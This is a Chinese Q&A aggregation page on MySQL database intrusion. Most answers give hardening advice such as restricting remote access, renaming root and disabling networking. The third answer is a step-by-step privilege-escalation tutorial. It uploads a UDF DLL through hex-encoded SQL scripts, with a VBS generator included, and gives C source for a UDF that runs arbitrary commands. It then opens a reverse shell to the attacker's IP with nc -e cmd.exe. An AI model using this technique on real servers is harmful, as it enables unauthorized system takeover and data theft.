當前位置:首頁 » 數據倉庫 » 入侵mysql資料庫
擴展閱讀
webinf下怎麼引入js 2023-08-31 21:54:13
堡壘機怎麼打開web 2023-08-31 21:54:11

入侵mysql資料庫

發布時間: 2022-04-18 13:43:27

1. limux下mysql資料庫的數據安全怎麼保障

下面將提供保障MySQL安全的最佳方法。

1、避免從互聯網訪問MySQL資料庫,確保特定主機才擁有訪問特權

直接通過本地網路之外的計算機改變生產環境中的資料庫是異常危險的。有時,管理員會打開主機對資料庫的訪問:

> GRANT ALL ON *.* TO 'root'@'%';

這其實是完全放開了對root的訪問。所以,把重要的操作限制給特定主機非常重要:

> GRANT ALL ON *.* TO 'root'@'localhost';

> GRANT ALL ON *.* TO 'root'@'myip.athome'

> FLUSH PRIVILEGES

此時,你仍有完全的訪問,但只有指定的IP(不管其是否靜態)可以訪問。

2、定期備份資料庫

任何系統都有可能發生災難。伺服器、MySQL也會崩潰,也有可能遭受入侵,數據有可能被刪除。只有為最糟糕的情況做好了充分的准備,才能夠在事後快速地從災難中恢復。企業最好把備份過程作為伺服器的一項日常工作。

3、禁用或限制遠程訪問

前面說過,如果使用了遠程訪問,要確保只有定義的主機才可以訪問伺服器。這一般是通過TCP wrappers、iptables或任何其它的防火牆軟體或硬體實現的。

為限制打開網路socket,管理員應當在my.cnf或my.ini的[mysqld]部分增加下面的參數:

skip-networking

這些文件位於windows的C:\Program Files\MySQL\MySQL Server 5.1文件夾中,或在Linux中,my.cnf位於/etc/,或位於/etc/mysql/。這行命令在MySQL啟動期間,禁用了網路連接的初始化。請注意,在這里仍可以建立與MySQL伺服器的本地連接。

另一個可行的方案是,強迫MySQL僅監聽本機,方法是在my.cnf的[mysqld]部分增加下面一行:

bind-address=127.0.0.1

如果企業的用戶從自己的機器連接到伺服器或安裝到另一台機器上的web伺服器,你可能不太願意禁用網路訪問。此時,不妨考慮下面的有限許可訪問:

mysql> GRANT SELECT, INSERT ON mydb.* TO 'someuser'@'somehost';

這里,你要把someuser換成用戶名,把somehost換成相應的主機。

4、設置root用戶的口令並改變其登錄名

在linux中,root用戶擁有對所有資料庫的完全訪問權。因而,在Linux的安裝過程中,一定要設置root口令。當然,要改變默認的空口令,其方法如下:

Access MySQL控制台:$ mysql -u root -p

在MySQL控制台中執行:

> SET PASSWORD FOR 'root'@'localhost' = PASSWORD('new_password');

在實際操作中,只需將上面一行的new_password換成實際的口令即可。

在Linux控制台中更改root口令的另一種方法是使用mysqladmin工具:

$ mysqladmin -u root password new_password

此時,也是將上面一行的new_password換成實際的口令即可。

當然,這是需要使用強口令來避免強力攻擊。

為了更有效地改進root用戶的安全性,另一種好方法是為其改名。為此,你必須更新表用戶中的mySQL資料庫。在MySQL控制台中進行操作:

> USE mysql;

> UPDATE user SET user="another_username" WHERE user="root";

> FLUSH PRIVILEGES;

然後,通過Linux訪問MySQL控制台就要使用新用戶名了:

$ mysql -u another_username -p

5、移除測試(test)資料庫

在默認安裝的MySQL中,匿名用戶可以訪問test資料庫。我們可以移除任何無用的資料庫,以避免在不可預料的情況下訪問了資料庫。因而,在MySQL控制台中,執行:

> DROP DATABASE test;
原文鏈接:http://soft.chinabyte.com/database/76/12788576.shtml

2. MYSQL資料庫被入侵篡改了數據 該如何解決

資料庫入侵被盜這個有時也好辦,,如果你是公共查詢資料庫就非常好辦了,你自己可以錄入些特定的數據,到是懷疑誰盜你了,你就去他的平台查這些特定的數據,查到了,那就不用說了,報警!!警察肯定願接案子。到時你就等著賠償,不過這時資料庫也就廢了。以前有過這樣的案例。你看現在沒幾個人敢盜資料庫了。

3. 如何利用弱口令入侵MySQL資料庫

很早網上就有了用mysql弱口令得到webshell教程,但是這次我要說的不是得到webshell,而是直接得到系統許可權,看清楚了,是「直接」得到!

首先,我簡單說一下mysql弱口令得到系統許可權得過程:首先利用mysql腳本上傳udf dll文件,然後利用注冊UDF
DLL中自寫的Function函數,而執行任意命令。

思路很簡單,網上也有一些教程,但是他們要麼沒有給具體的代碼,要麼一句話代過,搞得象我似得小菜很難理解,終於在我付出了幾天得不斷測試得辛勤勞動後,有了點結果,我把詳細過程和相關代碼得交給大家,這樣大家就可以自己寫dll文件,自己生成不同文件得二進制碼啦!

下面,我們先說如何生成二進制文件得上傳腳本。看看這段mysql腳本代碼(網友Mix用的方法):
set @a =
concat('',0x0123abc1312389…..);
set @a = concat(@a,0x4658978abc545e……);

………………….

create table Mix(data LONGBLOB);//建表Mix,欄位為data,類型為longblob

insert into Mix values("");update Mix set data = @a;//@a插入表Mix
select
data from Mix into DUMPFILE 'C:\\Winnt\\文件名';//導出表中內容為文件

前兩句很熟悉把,這個就是我們以前注入的時候,繞過』的解決辦法,把代碼的16進制數聲明給一個變數,然後導入這個變數就行了。只不過這里,因為16進制代碼是一個文件的內容,代碼太長了,所以就用了concat函數不斷把上次得代碼類加起來,這樣不斷累計到一個變數a中。後面幾句就很簡單了,我都有注釋。

後面三句好說,但是前面的那麼多16進制數據,手工的話,累人啊!不過你還記得以前有一個exe2bat.vbs腳本嗎?這次我們可以把這個腳本修改一下後,得到我們這里需要得mysql腳本!對比exe2bat.vbs生成得文件和我們需要腳本的文件格式,我們可以輕松的得到我們所需的腳本。腳本內容如下:

fp=wscript.arguments(0
fn=right(fp,len(fp)-instrrev(fp,"\"))
with
createobject("adodb.stream")
.type=1:.open:.loadfromfile
fp:str=.read:sl=lenb(str)
end with
sll=sl mod 65536:slh=sl\65536

with
createobject("scripting.filesystemobject").opentextfile(fp&".txt",2,true)

.write "set @a = concat('',0x"
for i=1 to sl
bt=ascb(midb(str,i,1))

if bt<16 then .write "0"
.write hex(bt)
if i mod 128=0 then
.write ");" vbcrlf "set @a = concat(@a,0x"
next
end with

好了,現在只要你把所要上傳的文件拖到這個腳本圖標上面,就可以生成一個同名的txt文件了。這個txt文件,就是我們所需要的mysql腳本,當然我們還需要修改一下這個txt文件(畢竟他是我們偷工減料得來的!),把最後一行生成的多餘的那句「set
@a = concat('',0x」刪除了,加上建表,插值得那三句代碼即可!

腳本生成了,如何上傳?先登陸mysql伺服器:

C:\>mysql –u root –h hostip –p
Mysql>use mysql;
//先進入mysql默認得資料庫,否則你下一步的表將不知道屬於哪個庫
Mysql>\. E:\*.dll.txt;
//這兒就是你生成的mysql腳本
按照上面輸入命令,就可以看見屏幕文字飛快閃爍(當然網速要快啦),不一會你的文件舊上傳完畢了!

下面到達我們的重點,我們上傳什麼dll文件?就目前我再網上看到的有兩個已經寫好的dll文件,一個是Mix寫得mix.dll,一個是envymask寫得my_udf.dll,這兩個我都用過,都很不錯,但是都也有點不足。先來看看具體的使用過程吧!

先用mix.dll:
登陸mysql,輸入命令:
Mysql> \. e:\mix.dll.txt;
Mysql>
CREATE FUNCTION Mixconnect RETURNS STRING SONAME 'C:\\windows\\mix.dll';

//這兒的注冊的Mixconnect就是在我們dll文件中實現的函數,我們將要用他執行系統命令!
Mysql> select
Mixconnect('你的ip','8080'); //填寫你的反彈ip和埠

過一會兒,你監聽8080埠的nc,就會得到一個系統許可權的shell了!如圖1:

這個的確不錯,通過反彈得到得shell可以傳過一些防火牆,可惜的是,它的這個函數沒有寫得很好,只能執行一次,當你第二次連接資料庫後,再次運行「select
Mixconnect('你的ip','8080');」的時候,對方的mysql會當掉!報錯,然後服務停止!

所以,使用mix.dll你只有一次成功,沒有再來一次的機會!另外根據我的測試,他對Win2003的系統好像不起作用。
再用my_udf.dll:

Mysql>\. C:\my_udf.dll.txt
Mysql> CREATE FUNCTION my_udfdoor
RETURNS STRING SONAME 'C:\\winnt\\my_udf.dll';

//同樣地,my_udfdoor也是我們注冊後,用來執行系統命令得函數
Mysql> select my_udfdoor('』);
//這兒可以隨便寫my_udfdoor得參數,相當於我們只是要激活這個函數
好了,現在你可以不用關這個shell了,我們再開一個cmd,使用:

D:\>nc hostip 3306
*
4.0.*-nt x$Eo~MCG f**k //看到這個後,輸入「f**k」
,他是my_udfdoor默認密碼,自己無法更改
過一會兒,你就有了系統許可權的shell了,
由於他是hook
recv版,所以穿牆的能力很強,我是在上一個mix.dll反彈失敗的情況下,才使用這個得,他果然不負所望!進系統後,發現它有雙網卡,天網防火牆個人版V2.73,對外僅僅開放3306埠,由此可見,my_udf.dll確實有很強的穿透防火牆得能力!但是他也有一個bug,就是再我們連接激活這個函數後(就是使用了命令「select
my_udfdoor('』);」後),不管你是否連接,只要執行了:
Mysql>drop function my_udfdoor;
後,mysql也匯報錯,然後掛掉,

所以,你使用這個dll文件無法刪除你的痕跡!

最後,然我們自己寫一個自定義的dll文件。看能不能解決問題。

我們僅僅使用mysql 得udf的示例作模版即可!看他的示例:

#include <stdlib.h>
#include <winsock.h>
#include
<mysql.h>
extern "C" {
char *my_name(UDF_INIT *initid, UDF_ARGS
*args, char *is_null,

char *error);
// 兼容C
}
char
*my_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null,

char *error)

{
char * me = "my name";
return me;
// 調用此UDF將返回 my name
}

十分簡單吧?好,我們只需要稍微改一下就可以有了自己的dll文件了:
下面是我的一個哥們Crackme是修改的:
#include
<stdlib.h>
#include <windows.h>
#include "mysql.h"

extern "C" __declspec(dllexport)char *sys_name(UDF_INIT *initid, UDF_ARGS
*args, char *is_null, char *error);// sys_name就是函數名,你可以任意修改

__declspec(dllexport) char *sys_name(UDF_INIT *initid, UDF_ARGS *args, char
*is_null, char *error) //當然這兒的sys_name也得改!
{
char me[256] = {0};
if
(args->arg_count == 1){
strncpy(me,args->args[0],args->lengths[0]);

me[args->lengths[0]]='\0';
WinExec(me,SW_HIDE); //就是用它來執行任意命令

}else
strcpy(me,"do nonthing.\n");
return me;
}

好,我們編譯成sysudf.dll文件就可以了!我們來用他實驗一把!
看操作:
Mysql>\.
C:\sysudf.dll.txt
Mysql>Create function sys_name returns string soname
'C:\\windows\\sysudf.dll';
Mysql>\. Nc.exe.txt //把nc.exe也上傳上去

Mysql>select sys_name('nc.exe -e cmd.exe 我的ip 8080');

//sys_name參數只有一個,參數指定要執行的系統命令
好,看看在Win2003中的一個反彈shell了,

當然,我們你也可以不反彈shell了,而去執行其他命令,只不過不論是否執行成功,都沒有回顯,所以要保證命令格式正確。對於這個dll文件,經過測試,不論何時「drop
function
sys_name;」,都是不會報錯的,同時也可以多次運行不同命令。至於他的缺點,就是他的穿牆能力跟Mix.dll一樣不算太強,但對於實在穿不透的牆,直接運行其他命令就是最好的選擇了。

上面三個dll文件可謂各有所短,如何選擇,就看你遇到的實際情況了。

好了,從腳本得編寫使用到dll文件編寫使用,說了這么多,現在大家應該都會了吧?題目說的是弱口令得到系統許可權,但是如果你在注入等其他過程中,爆出了config.php中的mysql密碼,不也是可以使用的嗎?這樣我們豈不是也找到繼Serv-u後又一大提權方法了嗎?

4. mysql資料庫被黑客植入廣告 怎麼辦

由於缺乏必要的安全措施和備份機制,資料庫中原有的數據均已丟失。為了恢復到Mysql初始的狀態,重新安裝了Mysql資料庫,並且重新創建原先存在的資料庫,同時,為了防止再次被黑客入侵,對Mysql進行了一些安全配置。

禁用或限制遠程訪問。若允許遠程訪問,需要確保特定主機才擁有訪問權。
對用戶進行合理授權,應用程序中最好不要直接使用root用戶。
限制打開網路socket,此時仍可以建立與Mysql伺服器的本地連接。

[mysqld]
skip-networking

強迫Mysql僅監聽本機。

[mysqld]
bind-address=127.0.0.1

更改root用戶的登錄名稱和密碼。
移除測試資料庫和匿名賬戶及廢棄的賬戶。
禁用LOCAL INFILE。

[mysqld]
set-variable=local-infile=0

刪除歷史命令記錄。

cat /dev/null > ~/.bash_history
cat /dev/null > ~/.mysql_history

及時安裝Mysql安全補丁。
使用chroot限制Mysql運行環境。
自動定期備份資料庫。

5. 請問知道MYSQL賬號和密碼可以入侵嗎

掛馬成功主要是靠一種叫 xss ( cross site scripting ) 的手段來達成, 就是將文字在送交你的伺服器的內文中插入了程序代碼. 然後在你的 cgi 寫入資料庫時 ( 不管你是 mysql, oracle ... ) 變成了可執行的指令. 目標可以是直接對你的伺服器進行攻擊, 也可以使其他的瀏覽者中伏.


要應對這些攻擊有很多方法, 詳細你可以搜一下 "XSS", 現在大致介紹 3 種方法給你:

  1. 將 COOKIES 設成 HttpOnly ( 這樣就不能用 javascript 對 cookie 進行寫入或竄改 )

  2. 將 cookies 設成 Secure ( 前題是你用 https )

  3. 在文字輸入框全進行過濾, 將 < > 這些符號變成 &gt &lt , 這樣代碼就無法運行


最後, 由於 sql 的埠在路由器中不是直接對外 (正常情況下沒這種需要, 請檢查), 所以掛馬人很少對你的 db 進行直接攻擊, 而是透過你 cgi 上的漏動而間表操作你的 db 的

6. mysql資料庫被黑客入侵部分報表丟失 如何恢復 急在線等 有酬謝

應該是無法恢復的,你應該做個備份...當然更要防止SQL注入!

7. 個人電腦搭建的php+mysql環境如無資料庫密碼或者密碼簡單會被入侵嗎

不會入侵,mysql默認的鏈接方式只有本地用戶可以鏈接mysql,通過網路不能鏈接mysql資料庫。

8. 如何關閉Mysql打開的3306埠防止系統被入侵

Mysql會自動開啟3306埠用於遠程連接mysql服務. 3306埠就是MySQL的默認埠, 但是黑客可以通過它來攻擊你的主機系統. 伺服器默認MySQL埠是3306, 最近經常被掃描, 甚至掃描到網站很慢或者打不開. 如果不需要遠程資料庫連接就可以讓Mysql關閉3306埠, 既提高了訪問速度, 又提高了安全性. 避免遠程連接mysql資料庫. 本地程序可以通過mysql.sock來連接, 不影響使用.
SSH到主機上輸入下面的命令:
vi /etc/my.cnf
在[mysqld]下添加:
skip-networking
最後重啟Mysql
service mysqld restart
檢查Mysql是否正常運行
service mysqld status

9. mysql被入侵

如果網站開放了web,入侵者可以從web下手,而且可以從資料庫連接文件那裡很輕松的找到你的root賬號和密碼,因此建議LZ對源碼進行嚴格檢查,杜絕sql注入,上傳等漏洞,還有就是連接資料庫使用最小許可權原則,用root連接資料庫對帶來災難性的打擊的